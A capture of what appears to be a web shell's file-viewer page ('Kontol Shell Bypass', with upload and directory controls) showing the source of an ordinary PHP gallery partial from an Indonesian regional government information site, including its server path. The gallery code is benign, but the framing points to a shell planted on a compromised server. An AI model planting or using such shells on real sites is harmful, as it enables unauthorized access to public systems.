ikan Uploader :
Directory : /var/www/new-ppid-app/partials/
Upload File : |
| Current File : /var/www/new-ppid-app/partials/galeri-kegiatan.php |
<?php
/**
* Partial: section Galeri Kegiatan di halaman Profil (maks 6 + tombol Lihat Semua).
*/
require_once ROOT_PATH . '/includes/queries.php';
$galeriHome = get_galeri_list(6);
$galeriTotal = (int) db()->query('SELECT COUNT(*) FROM galeri')->fetchColumn();
$fotoMap = get_galeri_foto_map(array_column($galeriHome, 'id'));
?>
<article class="bg-white rounded-2xl border border-slate-100 shadow-sm p-6 sm:p-8">
<div class="flex items-center justify-between gap-4 mb-6">
<div>
<h2 class="text-2xl font-bold text-slate-900 flex items-center gap-3"><i class="fas fa-images text-mateng-green"></i> Galeri Kegiatan</h2>
<p class="text-sm text-slate-500 mt-1">Dokumentasi kegiatan PPID Kabupaten Mamuju Tengah.</p>
</div>
<?php if ($galeriTotal > 0): ?>
<a href="<?= e(url('galeri.php')) ?>" class="shrink-0 hidden sm:inline-flex items-center gap-2 text-sm font-semibold text-mateng-green hover:underline">Lihat Semua <i class="fas fa-arrow-right text-xs"></i></a>
<?php endif; ?>
</div>
<?php if (empty($galeriHome)): ?>
<div class="text-center py-10 bg-slate-50 rounded-xl border border-slate-100">
<i class="fas fa-images text-4xl text-slate-300 mb-3"></i>
<p class="text-slate-500 text-sm">Belum ada galeri kegiatan.</p>
</div>
<?php else: ?>
<div class="grid grid-cols-2 sm:grid-cols-3 gap-4">
<?php foreach ($galeriHome as $g):
$fotoUrls = [];
foreach ($fotoMap[(int) $g['id']] ?? [] as $ff) {
if (is_file(UPLOAD_PATH . '/galeri/' . $ff)) { $fotoUrls[] = UPLOAD_URL . '/galeri/' . $ff; }
}
$cover = $fotoUrls[0] ?? null; ?>
<?php if ($fotoUrls): ?>
<button type="button" class="galeri-open group relative block w-full text-left rounded-xl overflow-hidden border border-slate-100 shadow-sm bg-slate-900 aspect-[4/3]" data-fotos="<?= e(json_encode($fotoUrls, JSON_UNESCAPED_SLASHES)) ?>" data-judul="<?= e($g['judul']) ?>">
<img src="<?= e($cover) ?>" alt="<?= e($g['judul']) ?>" class="absolute inset-0 w-full h-full object-cover opacity-90 group-hover:opacity-100 group-hover:scale-105 transition-all duration-500">
<div class="absolute inset-0 bg-gradient-to-t from-black/80 via-black/10 to-transparent"></div>
<span class="absolute top-2 right-2 bg-black/50 text-white text-[10px] px-1.5 py-0.5 rounded-full"><i class="fas fa-images mr-1"></i><?= (int) $g['jml_foto'] ?></span>
<span class="absolute inset-0 flex items-center justify-center text-white opacity-0 group-hover:opacity-100 transition-opacity"><i class="fas fa-magnifying-glass-plus text-xl drop-shadow"></i></span>
<div class="absolute bottom-0 inset-x-0 p-3">
<h3 class="text-white font-semibold text-sm leading-snug line-clamp-2"><?= e($g['judul']) ?></h3>
</div>
</button>
<?php else: ?>
<div class="relative rounded-xl overflow-hidden border border-slate-100 shadow-sm bg-slate-100 aspect-[4/3] flex items-center justify-center text-slate-400">
<div class="text-center px-2"><i class="fas fa-images text-2xl mb-1 block"></i><span class="text-[11px] font-medium text-slate-500 line-clamp-2"><?= e($g['judul']) ?></span></div>
</div>
<?php endif; ?>
<?php endforeach; ?>
</div>
<?php require ROOT_PATH . '/partials/galeri-lightbox.php'; ?>
<div class="mt-6 text-center">
<a href="<?= e(url('galeri.php')) ?>" class="inline-flex items-center gap-2 bg-mateng-green/10 hover:bg-mateng-green hover:text-white text-mateng-green font-semibold px-6 py-2.5 rounded-lg transition-colors">
<i class="fas fa-images"></i> Lihat Semua Galeri Kegiatan
</a>
</div>
<?php endif; ?>
</article>
Kontol Shell Bypass